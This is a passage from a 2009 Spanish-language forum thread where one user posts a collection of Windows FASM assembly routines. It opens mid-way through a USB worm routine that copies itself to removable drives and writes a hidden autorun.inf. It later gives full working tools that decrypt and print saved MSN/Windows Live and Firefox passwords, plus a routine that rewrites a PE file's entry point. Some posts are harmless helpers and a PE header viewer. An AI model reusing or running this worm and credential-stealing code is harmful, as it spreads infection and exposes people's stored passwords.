  27. .if eax = DRIVE_REMOVABLE
  28. .if word[ebx] = 'A:'
  29. .else
  30.      invoke GlobalAlloc,GPTR,MAX_PATH
  31. mov [MiRutaInfeccionaria],eax
  32.           stdcall Concat,ebx,[Minombre],[MiRutaInfeccionaria]
  33.  
  34.     ;       stdcall LLamaOtraApi,'shlwapi.dll', "PathFileExistsA"
  35. invoke PathFileExistsA,[MiRutaInfeccionaria]
  36. .if eax = FALSE
  37.  
  38. invoke CopyFileA,[Miruta],[MiRutaInfeccionaria],FALSE
  39.                ;SetFileAttributes
  40.          invoke SetFileAttributesA,[MiRutaInfeccionaria],FILE_ATTRIBUTE_HIDDEN
  41.              invoke GlobalAlloc,GPTR,MAX_PATH
  42.              mov [MiAutorun] ,eax
  43.            invoke GlobalAlloc,GPTR,MAX_PATH
  44.            mov [RutaAutorun],eax
  45.              stdcall Concat,Autorun,[Minombre], [MiAutorun]
  46.                    stdcall Concat,[MiAutorun],Autorun2, [MiAutorun]
  47.                    stdcall Concat,ebx,"autorun.inf",[RutaAutorun]
  48.  
  49.            invoke CreateFileA, [RutaAutorun] , GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, 0
  50.                mov [handleCreado], eax
  51.            invoke lstrlenA,[MiAutorun]
  52.              mov [tamaño],eax
  53.      invoke WriteFile, [handleCreado],[MiAutorun] , [tamaño], addr bEscritos, NULL
  54.  
  55.  
  56.            invoke CloseHandle, [handleCreado]
  57.               invoke SetFileAttributesA,[RutaAutorun] ,FILE_ATTRIBUTE_HIDDEN
  58. invoke GlobalFree,[MiAutorun]
  59.  
  60. invoke GlobalFree,[RutaAutorun]
  61.                .endif
  62. invoke GlobalFree,[MiRutaInfeccionaria]
  63. .endif
  64. .endif
  65.  
  66. .if byte[ebx] = 0
  67.  
  68. invoke GlobalFree,[Miruta]
  69. invoke CreateThread , 0, 0,InfeccionUSB,0,0 , 0
  70. invoke ExitThread,0
  71. .else
  72. add ebx,4
  73. jmp      .bucleDetectaExtraible
  74. .endif
  75. endp
Código
  1. proc Concat uses esi edi, @AdrSrc1, @AdrSrc2, @AdrDest
  2.    mov esi,[@AdrSrc1]
  3.    mov edi,[@AdrDest]
  4.  
  5. .concat_src1:
  6.    movsb
  7.    cmp byte[esi],0
  8.    jne .concat_src1
  9.  
  10.    mov esi,[@AdrSrc2]
  11.  
  12. .concat_src2:
  13.    movsb
  14.    cmp byte[esi],0
  15.    jne .concat_src2
  16.  
  17.    movsb
  18.  
  19.    ret
  20. endp
  21.  
  22. proc ConseguirNombre,ruta ;Funcion que devuelve el nombrer de el archivo.
  23. push ebx
  24. xor ebx,ebx
  25. mov ebx,[ruta]
  26. stdcall len,[ruta]
  27. add ebx,eax
  28. @@:
  29. dec ebx
  30. cmp byte[ebx],5Ch
  31. jne @b
  32. inc ebx
  33. mov eax,ebx
  34. pop ebx
  35. ret
  36. endp  
  37.  
  38. proc Zerar,Puntero,Cantidad
  39.  
  40.    push ecx
  41.    push ebx
  42.  
  43.              mov ecx,[Cantidad]
  44.                 mov ebx,[Puntero]
  45.                .bucle:
  46.  
  47.                mov byte[ebx+ecx],0
  48.                loop .bucle
  49.                mov byte[ebx],0
  50.                pop ebx
  51.                pop ecx
  52.                ret
  53. endp    
  54.  


Título: Re: Recopilación de mis codigos.
Publicado por: YST en 1 Junio 2009, 00:36 am
Código
  1. include 'win32ax.inc'
  2. .code
  3. start:
  4. stdcall DetectaExtención,"SoyUnExe.php.exe.YoSoyLaextensionreal"
  5. invoke MessageBox,0,eax,0,0
  6. invoke ExitProcess,0
  7. ;Descripcion: Esta función devuelve la extension de un archivo
  8. ; cRuta = Ruta del archivo
  9. ; by YST
  10. proc DetectaExtención,cRuta
  11. push ebx esi
  12. xchg eax,[cRuta]
  13. dec eax
  14. .bucle:
  15. inc eax
  16. cmp byte[eax],0
  17. jne .bucle
  18. inc eax
  19. .bucle2:
  20. dec eax
  21. cmp byte[eax],"."
  22. jne .bucle2
  23. xor esi,esi
  24. dec esi
  25. .bucle3:
  26. inc eax
  27. inc esi
  28. cmp byte[eax],0
  29. jne .bucle3
  30. push eax
  31. invoke GlobalAlloc,GPTR,esi
  32. xchg ebx,eax
  33. pop eax
  34. sub eax,esi
  35. stdcall cRtlMoveMemory,ebx,eax,esi
  36. xchg ebx,eax
  37. .salir:
  38. pop  esi ebx
  39. ret
  40. endp
  41. ;Descripcion: Esta función funciona igual que la winapi RtlMoveMemory
  42. ; by YST
  43. proc cRtlMoveMemory,cBuffer,Cpuntero,cCantidad
  44. push esi edi
  45. xchg edi,[cBuffer]
  46. xchg esi,[Cpuntero]
  47. .bucleb:
  48. dec [cCantidad]
  49. movsb
  50. cmp  [cCantidad],0
  51. jge .bucleb
  52. pop edi esi
  53. ret
  54. endp
  55. .end start


Título: Re: Recopilación de mis codigos.
Publicado por: YST en 1 Junio 2009, 00:40 am
Código
  1. Espacio equ 13,10
  2. format pe console
  3. include 'win32ax.inc'
  4. entry start
  5. .data
  6. Logo db '         =====================================================',13,10
  7.     db '         = Humilde Visor de claves de el msn 0.1v by YST     =',13,10
  8.     db '         =====================================================',13,10,0
  9. lCount dd ?
  10. lCred dd ?
  11. struct DATA_BLOB
  12.    cbData                 dd ?
  13.    pbData                 dd ?
  14. ends
  15. tBlobOut   DATA_BLOB
  16. tBlobIn     DATA_BLOB
  17. lmem dd ?
  18. acento rb 3
  19. .code
  20. start:
  21. invoke system,"color 03"
  22. invoke printf,Logo
  23. invoke printf,Espacio
  24. invoke printf,Espacio
  25. invoke CredEnumerate,"WindowsLive:name=*", 0, lCount,lCred
  26. .if [lCount] = 0
  27.  
  28. invoke printf,"%s","Ninguna cuenta encontrada."
  29. jmp salir
  30. .else
  31. mov ebx, [lCred]
  32. .bucle:
  33. dec [lCount]
  34. mov eax, dword[ebx]
  35. mov edi,dword[eax+8]
  36. mov edx,dword[eax+24]
  37. mov esi,dword[eax+28]
  38.  
  39. mov  [tBlobIn.cbData],edx
  40.     mov  [tBlobIn.pbData] ,esi
  41.   invoke CryptUnprotectData,tBlobIn, $0, $0, $0, $0, $1, tBlobOut
  42.   .if     [tBlobIn.cbData] = 0
  43.   mov eax, dword[ebx]
  44. mov eax,dword[eax+48]
  45. invoke printf,"Mail: %s",eax
  46. invoke printf,Espacio
  47. invoke printf,Espacio
  48.   .else
  49.  
  50.   invoke LocalAlloc,GPTR,[tBlobIn.cbData];          
  51. mov [lmem],eax
  52. stdcall UniToAscii ,[lmem], [tBlobIn.pbData]
  53.   invoke printf,"%s","Mail: "
  54.   mov eax, dword[ebx]
  55. mov eax,dword[eax+48]
  56. invoke printf,"%s",eax
  57. invoke printf,Espacio
  58. invoke CharToOem,"ñ",acento
  59. invoke printf,"Contrase"
  60. invoke printf ,"%s",acento
  61. invoke printf, "a: %s",[lmem]
  62. invoke printf,Espacio
  63. invoke printf,Espacio
  64. invoke LocalFree,[lmem]
  65. .endif
  66.  
  67. .if [lCount] = 0
  68. .else
  69. add ebx,4
  70. jmp .bucle
  71. .endif
  72.  
  73. .endif
  74. salir:
  75. invoke ExitProcess,0
  76. proc UniToAscii, ascii, unicode
  77. push esi
  78. push edi
  79.  mov esi, [unicode]
  80.  mov edi, [ascii]
  81.  .count:
  82.  .if byte[esi] <> 0
  83.      movsb
  84.      jmp .count
  85.  .endif
  86.  inc esi
  87.  .if byte[esi] = 0
  88.      jmp .exit
  89.  .endif
  90.  jmp .count
  91.  .exit:
  92.  
  93.  mov eax, edi
  94.  add eax, 2
  95. pop edi
  96. pop esi
  97.  ret
  98. endp
  99.   section '.idata' import data readable writeable
  100.   library kernel32,'kernel32.dll',crypt32,"crypt32.dll",user32,'user32.dll',advapi32,'advapi32.dll',msvcrt,'msvcrt.dll'
  101.   include 'api/kernel32.inc'
  102.  import crypt32,CryptUnprotectData,"CryptUnprotectData"
  103.  
  104. import advapi32,\
  105. CredEnumerate,'CredEnumerateA'
  106. include 'api/user32.inc'
  107. import msvcrt,printf,"printf",system,"system"
  108.  
  109. section '.reloc' fixups data discardable


Título: Re: Recopilación de mis codigos.
Publicado por: YST en 1 Junio 2009, 00:42 am
Código
  1. format pe console
  2. entry start
  3. include 'win32ax.inc'
  4. sPath equ dword[ebx+4]
  5. Espacio equ 13,10
  6. .data
  7.  
  8. struct TSECItem
  9.    SECItemType     dd ?
  10.    SECItemData     dd ?
  11.    SECItemLen      dd ?
  12.    ends
  13.    url dd ?
  14.    valor dd ?
  15.  
  16. lvLibs0 dd ?
  17. Logo db '         =====================================================',13,10
  18.     db '         = Humilde Visor de claves de el Firefox 0.1v by YST =',13,10
  19.     db '         =====================================================',13,10,0
  20.  
  21. URL dd ?
  22. Campo dd ?
  23. tsec TSECItem
  24. tSecDec  TSECItem
  25. lvLibs7 dd ?
  26. lKeySlot dd ?
  27. P dd ?
  28. bUsados    dd ?
  29. hFile dd ?
  30. tamAr dd ?
  31. IB dd ?
  32. sFFPath  rb MAX_PATH+1
  33. sRet rb 260
  34. sRet2 rb 260
  35. comp dd ?
  36. .code
  37. start:
  38. invoke system,"color 03"
  39. invoke printf,"%s",Logo
  40. invoke SHGetSpecialFolderLocation,0,26h,ebx
  41. invoke LocalAlloc,40h,MAX_PATH+1
  42. mov dword[ebx+4] ,eax
  43. invoke SHGetPathFromIDList,dword[ebx],sPath
  44. invoke lstrcat,sPath,"\Mozilla Firefox\"
  45.  
  46.  
  47. stdcall Cargar,dword[ebx+4],"mozcrt19.dll"
  48. stdcall Cargar,dword[ebx+4],"sqlite3.dll"
  49. stdcall Cargar,dword[ebx+4],"nspr4.dll"
  50. stdcall Cargar,dword[ebx+4],"plc4.dll"
  51. stdcall Cargar,dword[ebx+4],"plds4.dll"
  52. stdcall Cargar,dword[ebx+4],"nssutil3.dll"
  53. stdcall Cargar,dword[ebx+4],"softokn3.dll"
  54. stdcall Cargar,dword[ebx+4],"softokn3.dll"
  55.  
  56.  
  57. ;"nss3.dll"
  58. invoke LocalAlloc,40h,MAX_PATH+1
  59. mov [P],eax
  60. stdcall Concat,sPath, "nss3.dll",eax
  61. invoke LoadLibrary,[P]
  62. mov [lvLibs7],eax
  63. invoke LocalFree,[P]
  64. ;1A
  65. invoke SHGetSpecialFolderLocation,0,1ah,ebx
  66. invoke SHGetPathFromIDList,dword[ebx],sFFPath
  67. invoke lstrcat,sFFPath,"\Mozilla\Firefox\profiles.ini"
  68.  
  69. invoke GetPrivateProfileString,"Profile0", "Path", 0, sRet, 260, sFFPath
  70.  
  71. stdcall Zerar,sFFPath,MAX_PATH
  72.  
  73. invoke SHGetSpecialFolderLocation,0,1ah,ebx
  74. invoke SHGetPathFromIDList,dword[ebx],sFFPath
  75. invoke lstrcat,sFFPath,"\Mozilla\Firefox\"
  76. invoke lstrcat,sFFPath,sRet
  77. invoke lstrcat,sFFPath,"\signons3.txt"
  78.  
  79. invoke  CreateFile, sFFPath, GENERIC_READ, 0, 0, OPEN_EXISTING, 0, 0
  80. mov [hFile], eax
  81. invoke  GetFileSize, eax, 0
  82. mov [tamAr], eax
  83. invoke  GlobalAlloc, GPTR, eax
  84. mov [IB], eax
  85. invoke  ReadFile, [hFile], [IB], [tamAr], bUsados, 0
  86.  
  87. invoke SHGetSpecialFolderLocation,0,1ah,ebx
  88. invoke SHGetPathFromIDList,dword[ebx],sRet2
  89. invoke lstrcat,sRet2  ,"\Mozilla\Firefox\"
  90. invoke lstrcat,sRet2  ,sRet
  91. ;lKeySlot
  92. invoke GetProcAddress,[lvLibs7], "NSS_Init"
  93. stdcall eax,sRet2
  94. .if eax = 0
  95. invoke GetProcAddress,[lvLibs7], "PK11_GetInternalKeySlot"
  96. stdcall eax
  97.   mov [lKeySlot],eax
  98. .if eax <> 0
  99.    invoke GetProcAddress,[lvLibs7], "PK11_Authenticate"
  100.  
  101.    stdcall eax,[lKeySlot],TRUE,0
  102. .if eax = 0
  103. xor edi,edi
  104. mov ebx,[IB]
  105. invoke printf,Espacio
  106. invoke printf,Espacio
  107. .bucle:
  108.  
  109. inc edi
  110. cmp edi, [tamAr]
  111. je salir
  112. inc ebx
  113. cmp byte[ebx],"."
  114. jne .bucle
  115. cmp byte[ebx+1],13
  116. jne .bucle
  117. cmp byte[ebx+2],10
  118. jne .bucle
  119. add ebx,3
  120. .if byte[ebx] <> 0
  121. mov [URL],ebx
  122. .bucle2:
  123. inc edi
  124. cmp edi, [tamAr]
  125. je salir
  126. inc ebx
  127. cmp byte[ebx],13
  128. jne .bucle2
  129. cmp byte[ebx+1],10
  130. jne .bucle2
  131. mov byte[ebx],0
  132. mov byte[ebx+1],0
  133. invoke printf,Espacio
  134. invoke printf,Espacio
  135. invoke printf,"WEB: %s",[URL]
  136. invoke printf,Espacio
  137. .campo:
  138. add ebx,2
  139. mov [Campo],ebx
  140. .bucle3:
  141. inc edi
  142. cmp edi, [tamAr]
  143. je salir
  144. inc ebx
  145. cmp byte[ebx],13
  146. jne .bucle3
  147. cmp byte[ebx+1],10
  148. jne .bucle3
  149. mov byte[ebx],0
  150. mov byte[ebx+1],0
  151. invoke printf,"Campo: %s",[Campo]
  152. invoke printf,Espacio
  153. add ebx,2
  154. mov [valor],ebx
  155. .bucle4:
  156. inc edi
  157. cmp edi, [tamAr]
  158. je salir
  159. inc ebx
  160. cmp byte[ebx],13
  161. jne .bucle4
  162. cmp byte[ebx+1],10
  163. jne .bucle4
  164. mov byte[ebx],0
  165. mov byte[ebx+1],0
  166. invoke lstrlen,[valor]
  167. mov [Campo],eax
  168.   invoke GetProcAddress,[lvLibs7], "NSSBase64_DecodeBuffer"
  169. stdcall eax,0,  tsec, [valor], [Campo]
  170.   invoke GetProcAddress,[lvLibs7], "PK11SDR_Decrypt"
  171.  
  172. stdcall eax, tsec,tSecDec, 0
  173. invoke printf,"Datos: %s",[tSecDec.SECItemData]
  174. invoke printf,Espacio
  175. add ebx,2
  176. .if dword[ebx] = "http"
  177. sub ebx,2
  178. jmp .bucle
  179. .else
  180. sub ebx,2
  181. jmp .campo
  182. .endif
  183. .endif
  184. .endif
  185. .endif
  186. .endif
  187. .endif
  188. salir:
  189. invoke ExitProcess,0
  190.  
  191. proc Cargar, sPathL, libreria
  192. invoke LocalAlloc,40h,MAX_PATH+1
  193. mov [P],eax
  194. stdcall Concat,[sPathL],[libreria] ,eax
  195. invoke LoadLibrary,[P]
  196. invoke LocalFree,[P]
  197. ret
  198. endp
  199. proc Concat uses esi edi, @AdrSrc1, @AdrSrc2, @AdrDest
  200. mov esi,[@AdrSrc1]
  201. mov edi,[@AdrDest]
  202. .concat_src1:
  203. movsb
  204. cmp byte[esi],0
  205. jne .concat_src1
  206. mov esi,[@AdrSrc2]
  207. .concat_src2:
  208. movsb
  209. cmp byte[esi],0
  210. jne .concat_src2
  211. movsb
  212. ret
  213. endp
  214.  
  215. proc Zerar,Puntero,Cantidad
  216.  
  217.    push ecx
  218.    push ebx
  219.  
  220.              mov ecx,[Cantidad]
  221.                 mov ebx,[Puntero]
  222.                .bucle:
  223.  
  224.                mov byte[ebx+ecx],0
  225.                loop .bucle
  226.                mov byte[ebx],0
  227.                pop ebx
  228.                pop ecx
  229.                ret
  230. endp
  231.  
  232.   section '.idata' import data readable writeable
  233.   library kernel32,'kernel32.dll',user32,'user32.dll',msvcrt,'msvcrt.dll',shell32,'shell32.dll'
  234.   include 'api/kernel32.inc'
  235. include 'api/user32.inc'
  236. import msvcrt,printf,"printf",system,"system"
  237. include 'api/shell32.inc'
  238. section '.reloc' fixups data discardable


Título: Re: Recopilación de mis codigos.
Publicado por: YST en 1 Junio 2009, 00:45 am
Código
  1. include 'win32ax.inc'
  2. INVALID_FILE_SIZE = 0xffffffff
  3. .code
  4. start:
  5. stdcall ChangeEntryPoint,"c:\Arreglado.exe",$
  6. .if eax = 0
  7. invoke MessageBox,0,"Ocurrio un error al intentar cambiar el Entry Point" ,0,0
  8. .else
  9. invoke MessageBox,0,"El Entry Point a sido cambiado" ,0,0
  10. .endif
  11. invoke ExitProcess,0
  12.  
  13.  
  14. proc ChangeEntryPoint,Path,NewEP:DWORD
  15. locals
  16. Handle dd ?
  17. Tamaño dd ?
  18. Emezeta dd ?
  19. cantidad dd ?
  20. endl
  21. push ebx
  22. invoke  CreateFile, [Path], GENERIC_READ, 0, 0, OPEN_EXISTING, 0, 0    ;Abrimos el archivo para lectura
  23. cmp eax,INVALID_HANDLE_VALUE
  24. je .error
  25. mov [Handle],eax                                     ;Guardamos el handle
  26. invoke  GetFileSize, eax, 0                         ;Vemos el tamaño
  27. cmp eax,INVALID_FILE_SIZE
  28. je .error
  29. mov [Tamaño], eax
  30. invoke  GlobalAlloc, GPTR, eax
  31. mov [Emezeta], eax
  32. invoke  ReadFile, [Handle], [Emezeta], [Tamaño], addr cantidad, 0     ;Leemos el archivo
  33. cmp eax,TRUE
  34. jne .error
  35. invoke CloseHandle,[Handle]     ;Cerramos el handle
  36. cmp eax,NULL
  37. je .error
  38.  
  39. mov ebx,[Emezeta]
  40. cmp word[ebx],"MZ"
  41. jne .error
  42.  
  43. add ebx,dword[ebx+03ch]
  44. cmp word[ebx],"PE"
  45. jne .error
  46.  
  47. xor eax,eax
  48. mov eax,[NewEP]
  49. mov dword[ebx+28h],eax      ;Cambiamos el EP
  50.  
  51. invoke CreateFileA,[Path], GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, 0    ;Creamos el archivo borrando el anterior
  52. cmp eax,INVALID_HANDLE_VALUE
  53. je .error
  54.               mov [Handle], eax
  55.  
  56.                ;Escibimos el archivo
  57.                invoke WriteFile, [Handle], [Emezeta] , [Tamaño],addr cantidad, NULL
  58.  
  59.                ; "Cerramos" el archivo
  60.                invoke CloseHandle,[Handle]
  61.  
  62. cmp eax,NULL
  63. je .error
  64. mov eax,1
  65. jmp .salir
  66. .error:
  67. xor eax,eax
  68. .salir:
  69. pop ebx
  70. ret
  71. endp
  72. .end start


Título: Re: Recopilación de mis codigos.
Publicado por: YST en 1 Junio 2009, 00:46 am
Código
  1. proc EOFExtraDataExtract,FHandle
  2. push esi  ebx
  3. mov eax,[FHandle]
  4. mov esi,dword[eax+03ch] ;Offset to start of PE header
  5. add esi,eax
  6. movzx ebx, word[esi+06h] ;Number Of Sections
  7. dec ebx
  8. mov eax,28h
  9. mul ebx
  10. add esi,0xf8 ;START OF SECTION TABLE
  11. add esi,eax
  12. mov eax,dword[esi+10h] ;SizeOfRawData
  13. add eax,dword[esi+14h]  ;pointerToRawData
  14. pop ebx esi
  15. ret
  16. endp


Título: Re: Recopilación de mis codigos.
Publicado por: YST en 1 Junio 2009, 00:49 am
Código
  1. format pe console
  2. include 'win32ax.inc'
  3. .data
  4. Espacio equ 13,10,0   ;Para pasar a una nueva linea.
  5. RutaArchivo rb MAX_PATH   ;Variable para guardar la ruta de el archivo
  6. PunteroPEheader dd ? ; Puntero de el Pe header
  7. Logo db '                      ===================================',13,10          ; LOGO PRINCIPAL
  8.     db '                      =         PE visor by YST         =',13,10
  9.     db '                      ===================================',13,10,0
  10.  
  11. LogoGeneral db '                      ===================================',13,10          ; LOGO GENERAL
  12.            db '                      =           General               =',13,10
  13.            db '                      ===================================',13,10,0
  14.  
  15. LogoSecciones db '                      ===================================',13,10
  16.              db '                      =           Secciones             =',13,10     ;LOGO DE INFO DE LAS SECCIONES
  17.              db '                      ===================================',13,10,0
  18.  
  19. LogoExport    db '                      ===================================',13,10
  20.              db '                      =           Export data           =',13,10     ;LOGO DE INFO DE el Export data
  21.              db '                      ===================================',13,10,0
  22. LogoImport    db '                      ===================================',13,10
  23.              db '                      =           Import data           =',13,10     ;LOGO DE INFO DE el import data
  24.              db '                      ===================================',13,10,0
  25. FHandle dd ?  ; MZ de el archivo
  26. .code
  27. start:
  28. invoke system,"color 3" ;Ponemos el color de texto
  29. invoke printf,Logo      ;Imprimimos el logo
  30. invoke printf,Espacio   ;Ponemos dos nuevas lineas.
  31. invoke printf,Espacio
  32.  
  33. invoke printf,"Inserte la ruta de el archivo a examinar:"   ; Preguntamos el archivo
  34. invoke printf,Espacio
  35. invoke scanf,"%s",RutaArchivo  ;Obtenemos la ruta de el archivo
  36.  
  37. invoke LoadLibrary,RutaArchivo ;Cargamos el archivo
  38. .if eax = 0     ; Si hay error
  39. invoke printf,"Hubo un error al cargar el archivo:" ;Mostramos el error .
  40. invoke printf,RutaArchivo
  41. invoke ExitProcess,0 ; Nos salimos.
  42. .else ; De lo contrario
  43. .if  word[eax] = "MZ" ; Si los primeros 2 bytes son igual a MZ
  44. mov [FHandle],eax      ; Guardamos el MZ en FHandle
  45. .else  ; De lo contrario
  46. invoke printf,"Ingrese un archivo valido." ;Mostramos el error .
  47. invoke ExitProcess,0 ; Nos salimos.
  48. .endif ; Terminamos los if
  49. .endif
  50.  
  51. add eax,dword[eax+03ch] ; Guardamos en eax la direccion de el PE header
  52. .if  word[eax] = "PE" ; Si los primeros 2 bytes son igual a PE
  53. mov [PunteroPEheader],eax      ; Guardamos el puntero de el PE header en PunteroPEheader
  54. .else  ; De lo contrario
  55. invoke printf,"No se a detectado PE header." ;Mostramos el error .
  56. invoke ExitProcess,0 ; Nos salimos.
  57. .endif ; Terminamos los if
  58. .endif
  59.  
  60. invoke printf,Espacio ; Pasamos a la siguiente linea.
  61. invoke printf,Espacio ; Pasamos a la siguiente linea.
  62. invoke printf,LogoGeneral ;Imprimimos el logo de la informacion general.
  63. invoke printf,Espacio ; Pasamos a la siguiente linea.
  64. invoke printf,Espacio ; Pasamos a la siguiente linea.
  65.  
  66. mov ebx,[FHandle]
  67. mov ebx,dword[ebx+03ch]
  68. invoke printf,"La posicion de el PE header es : 0x%x" ,ebx    ;Mostramos la direccion de el PE header
  69. invoke printf,Espacio ; Pasamos a la siguiente linea.
  70.  
  71. add ebx,[FHandle]; Le sumamos a la posicion de el PE header el MZ para pasar a el puntero de el PE header
  72. invoke printf,"TimeDateStamp: 0x%x " ,dword[ebx+08h] ; Imprimimo el TimeDateStamp
  73. invoke printf,Espacio ; Pasamos a la siguiente linea.
  74.  
  75.  
  76.  
  77. invoke printf,"SizeOfCode: 0x%x " ,dword[ebx+1ch] ; Imprimimo el SizeOfCode
  78. invoke printf,Espacio ; Pasamos a la siguiente linea.
  79.  
  80.  
  81. invoke printf,"AddressOfEntrPoint: 0x%x " ,dword[ebx+28h] ; Imprimimo el AddressOfEntrPoint
  82. invoke printf,Espacio ; Pasamos a la siguiente linea.
  83.  
  84.  
  85. invoke printf,"ImageBase: 0x%x " ,dword[ebx+34h] ; Imprimimo el ImageBase
  86. invoke printf,Espacio ; Pasamos a la siguiente linea.
  87.  
  88.  
  89. invoke printf,"SizeOfImage: 0x%x " ,dword[ebx+50h] ; Imprimimo el SizeOfImage
  90. invoke printf,Espacio ; Pasamos a la siguiente linea.
  91.  
  92. invoke printf,"SizeOfHeaders: 0x%x " ,dword[ebx+54h] ; Imprimimo el SizeOfHeaders
  93. invoke printf,Espacio ; Pasamos a la siguiente linea.
  94.  
  95.  
  96. invoke printf,"CheckSum: 0x%x " ,dword[ebx+58h] ; Imprimimo el CheckSum
  97. invoke printf,Espacio ; Pasamos a la siguiente linea.
  98.  
  99. invoke printf,"Subsystem: "       ;Imprimimos el Subsystem
  100. .if dword[ebx+5Ch] = 2h  ;SI es GUI
  101. invoke printf,"Windows GUI"    ; Imprimimos   Windows GUI
  102. .else             ; De lo contrario es CUI (Consola)
  103. invoke printf,"Windows CUI"  ; Imprimimos   Windows CUI
  104. .endif        ;Terminamos el if
  105. invoke printf,Espacio ; Pasamos a la siguiente linea.
  106. stdcall EOFExtraDataExtract,[FHandle]
  107. invoke printf,"Posicion de el EOF: 0x%x",eax       ;Imprimimos la posicion de el EOF
  108. invoke printf,Espacio ; Pasamos a la siguiente linea.
  109.  
  110. invoke printf,Espacio ; Pasamos a la siguiente linea.
  111. invoke printf,Espacio ; Pasamos a la siguiente linea.
  112. invoke printf,LogoSecciones ;Imprimimos el logo de la informacion de las secciones.
  113. invoke printf,Espacio ; Pasamos a la siguiente linea.
  114. invoke printf,Espacio ; Pasamos a la siguiente linea.
  115.  
  116. mov esi,[PunteroPEheader]      ;Movemos el puntero de el PE Header a esi.
  117. movzx ebx,word[esi+06h]  ; Guardamos la cantidad de secciones en ebx.
  118.  
  119.  
  120.  
  121. invoke printf,"Numero de secciones: %d",ebx   ;Imprimimos la cantidad de secciones.
  122. invoke printf,Espacio ; Pasamos a la siguiente linea.
  123. invoke printf,Espacio ; Pasamos a la siguiente linea.
  124.  
  125. .bucleImprimeSecciones: ; Bucle que imprime secciones
  126. dec ebx    ;Les restamos uno a ebx
  127. mov eax,28h       ;Hacemos que eax sea igual a $28
  128. mul ebx           ;Multiplicamos ebx
  129. add eax,0xf8      ;Le sumamos $F8 ( $F8 = START OF SECTION TABLE )
  130. add eax,esi       ;Le agregamos al resultado de la multiplicacion el puntero de el PE header
  131. mov edi,eax       ;Guardamos eax en edi
  132. invoke printf,"Name: %s",edi  ;Imprimimos el nombre de la sección.
  133. invoke printf,Espacio ; Pasamos a la siguiente linea.
  134. invoke printf,"virtual address: 0x%x",dword[edi+0ch]  ;Imprimimos el virtual address
  135. invoke printf,Espacio  ; Pasamos a la siguiente linea
  136. invoke printf,"VirtualSize: 0x%x",dword[edi+08h]        ;Imprimimos el VirtualSize
  137. invoke printf,Espacio  ; Pasamos a la siguiente linea
  138. invoke printf,"SizeOfRawData: 0x%x",dword[edi+10h] ;  Imprimimos el SizeOfRawData
  139. invoke printf,Espacio  ; Pasamos a la siguiente linea
  140. invoke printf,"pointerToRawData : 0x%x",dword[edi+14h]   ;Imprimimos el pointerToRawData
  141. invoke printf,Espacio  ; Pasamos a la siguiente linea
  142. invoke printf,"Characteristics: 0x%x",dword[edi+24h] ;Imprimimos las Characteristics
  143. invoke printf,Espacio  ; Pasamos a la siguiente linea
  144. invoke printf,Espacio  ; Pasamos a la siguiente linea
  145. invoke printf,Espacio  ; Pasamos a la siguiente linea
  146.  
  147. cmp ebx,0
  148. jne .bucleImprimeSecciones   ; Si no se an imprimido todas las secciones saltamos a lña etiqueta .bucleImprimeSecciones .
  149.  
  150. invoke printf,Espacio ; Pasamos a la siguiente linea.
  151. invoke printf,Espacio ; Pasamos a la siguiente linea.
  152. invoke printf,LogoExport   ;Imprimimos el logo de la informacion de el export data.
  153. invoke printf,Espacio ; Pasamos a la siguiente linea.
  154. invoke printf,Espacio ; Pasamos a la siguiente linea.
  155.  
  156. .if dword[esi+078h] = 0    ; Si no hay export data
  157. invoke printf,"[+]No se exporta ninguna funcion."
  158. invoke printf,Espacio ; Pasamos a la siguiente linea.
  159. .else
  160. mov ebx,dword[esi+078h]
  161. add ebx,[FHandle]
  162. invoke printf,"Cantidad de funciones exportadas: %d",dword[ebx+18h]    ;Imprimimo la cantidad de funciones exportadas.
  163. invoke printf,Espacio ; Pasamos a la siguiente linea.          +
  164. mov edi,dword[ebx+20h]   ;AddressOfNames
  165. add edi,[FHandle]
  166. mov ebx,dword[ebx+18h]   ;Numero de exports
  167. invoke printf,"Funciones exportadas: "
  168.  invoke printf,Espacio
  169. .bucleExportData:           ;Bucle para imprimir la export data
  170. dec ebx
  171. mov        eax, [edi + ebx * 4]
  172. add eax,[FHandle]
  173. invoke printf,"[+]%s",eax
  174.  invoke printf,Espacio
  175.  cmp ebx,0
  176.  jne .bucleExportData  ;Si no se an imprimido todas seguimos
  177. .endif
  178. invoke printf,LogoImport
  179. invoke printf,Espacio
  180. invoke printf,Espacio
  181.  mov eax,[PunteroPEheader]
  182. .if  dword[eax+80h] = NULL  ;Si no importamos ninguna funcion.
  183. invoke printf,"[+]No importa ninguna funcion."
  184. .else;De lo contrario
  185. stdcall Sacaimport,[FHandle]
  186. .endif
  187. invoke system,"pause"
  188. invoke ExitProcess,0
  189.  
  190. proc EOFExtraDataExtract,FHandle ;Funcion para extraer el EOF
  191. push esi  ebx
  192. mov eax,[FHandle]
  193. mov esi,dword[eax+03ch] ;Offset to start of PE header
  194. add esi,eax
  195. movzx ebx, word[esi+06h] ;Number Of Sections
  196. dec ebx
  197. mov eax,28h
  198. mul ebx
  199. add esi,0xf8 ;START OF SECTION TABLE
  200. add esi,eax
  201. mov eax,dword[esi+10h] ;SizeOfRawData
  202. add eax,dword[esi+14h]  ;pointerToRawData
  203. pop ebx esi
  204. ret
  205. endp
  206. proc Sacaimport ,handle
  207. locals
  208. Export dd ?
  209. endl
  210. pushad
  211. mov eax,[handle]
  212. mov ebx,dword[eax+03ch]
  213. add ebx,eax
  214. mov ebx,dword[ebx+80h]
  215. add ebx,eax
  216. mov [Export],ebx
  217. .buclelib:
  218. mov ebx,[Export]
  219. mov edi,dword[ebx+0ch]
  220. cmp edi,0
  221. je .salir
  222. add edi,[handle]
  223. invoke printf,"- Funciones de %s: ",edi
  224. invoke printf,"%s",Espacio
  225. xor esi,esi
  226. mov esi,dword[ebx]
  227. add esi,[handle]
  228. mov edi,esi
  229. xor ebx,ebx
  230. .bucleapi:
  231. xor esi,esi
  232. mov esi,dword[edi+ebx]
  233. cmp esi,0
  234. je .otralib
  235. add esi,[handle]
  236. add esi,2h
  237. invoke printf," [*]%s",esi
  238. invoke printf,"%s",Espacio
  239. add ebx,04h
  240. jmp .bucleapi
  241. .otralib:
  242. add  [Export] ,14h
  243. jmp .buclelib
  244. .salir:
  245. popad
  246. ret
  247. endp
  248.  
  249. .end start
  250. section '.reloc' fixups data discardable


Título: Re: Recopilación de mis codigos.
Publicado por: YST en 12 Junio 2009, 22:08 pm
Código
  1. ;Descripción: Convierte un dato a hexadecimal
  2. ; by YST
  3. proc StringToHex,cPuntero,cCantidad,cBuffer
  4. pushad
  5. mov esi,[cPuntero]
  6.  
  7. mov edi,[cBuffer]
  8. .bucle:
